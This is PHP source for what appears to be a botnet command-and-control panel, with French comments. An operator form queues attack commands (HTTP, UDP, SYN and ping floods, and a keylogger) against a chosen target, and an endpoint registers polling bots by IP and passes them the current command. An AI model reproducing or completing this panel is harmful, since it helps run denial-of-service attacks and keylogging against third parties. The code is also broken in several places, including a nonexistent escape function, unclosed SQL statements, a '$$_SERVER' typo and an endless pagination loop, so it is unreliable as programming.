<?php

//Mysql ID
$mysql_host = "localhost";
$mysql_user = "root";
$mysql_pass = "";
$mysql_db   = "bots";


mysql_connect($mysql_host,$mysql_user,$mysql_pass);
mysql_select_db($mysql_db);


if(isset($_POST['type']) && isset($_POST['cible'])){
    $date = "";
    mysql_query("INSERT INTO cmd VALUES('','".$date."','".mysql_real_escape_string($_POST['type'])."','".mysql_query_escape_string($_POST['cible'])."'");
}

if(isset($_GET['p']) && !empty($_GET['p'])){
    if($_GET['p'] == "ls_bot"){
        //Affiche les bots
    }
    elseif($_GET['p'] == "lunch_cmd"){

        echo   '<form action="'.htmlspecialchars($_SERVER['PHP_SELF']).'" method="post"/>
                <label for="type/">Type</label>
                <select name="type" id="type"/>
                    <option value="Httpflood" selected="selected"/>
                    <option value="Udpflood"/>
                    <option value="Synflood"/>
                    <option value="Pingflood"/>
                    <option value="Keylogger"/>
                </select>
                <input name="cible" type="text"/>
                <input type="submit" value="Exec!"/>
                </form>';

        $req = mysql_query("SELECT date,type,cible FROM cmd LIMIT 1,50");
        while($data = mysql_fetch_array($req)){
            echo '<p>Date '.$data['date'].' Type : '.$data['type'].' Cible : '.$data['cible'].'</p><br />';
        }
        $nb_p = mysql_query("SELECT COUNT(*) AS id FROM cmd");
        $ret = mysql_fetch_array($nb_p);
        $i = $ret['id'] / 50;
            for($t = 0; $t <  $i; $i++){
                echo '<a href="'.htmlspecialchars($_SERVER['PHP_SELF'].'&id='.$t.'">'.$t.'</a>';
            }
    }
    elseif($_GET['p'] == "ls_bot"){
        $req = mysql_query("SELECT date,type,cible FROM cmd LIMIT 1,50");
        while($data = mysql_fetch_array($req)){
            echo '<p>Date '.$data['date'].' Type : '.$data['type'].' Cible : '.$data['cible'].'</p><br />';
        }
        $nb_p = mysql_query("SELECT COUNT(*) AS id FROM bot");
        $ret = mysql_fetch_array($nb_p);
        $i = $ret['id'] / 50;
            for($t = 0; $t <  $i; $i++){
                echo '<a href="'.htmlspecialchars($_SERVER['PHP_SELF'].'&id='.$t.'">'.$t.'</a>';
            }
    }
    elseif($_GET['p'] == "pv_cmd"){
        $bot_exist = mysql_query("SELECT ip FROM bots WHERE ip='".$_SERVER['REMOTE_ADDR']."'");
            if(!$bot_exist){
                mysql_query("INSERT INTO bots VALUES('','".$$_SERVER['REMOTE_ADDR']."','".date('')."'");
            }
        $req = mysql_query("SELECT date,type,cible FROM cmd LIMIT 1");
        echo '<date>'.$req['date'].'</date><type>'.$req['type'].'</type><cible>'.$req['cible'].'</cible>';
    }
    else{
        //Ici on aura toute la page d'acceuil du site
    }
}

else{
        //Ici on aura toute la page d'acceuil du site
}

mysql_close();
?>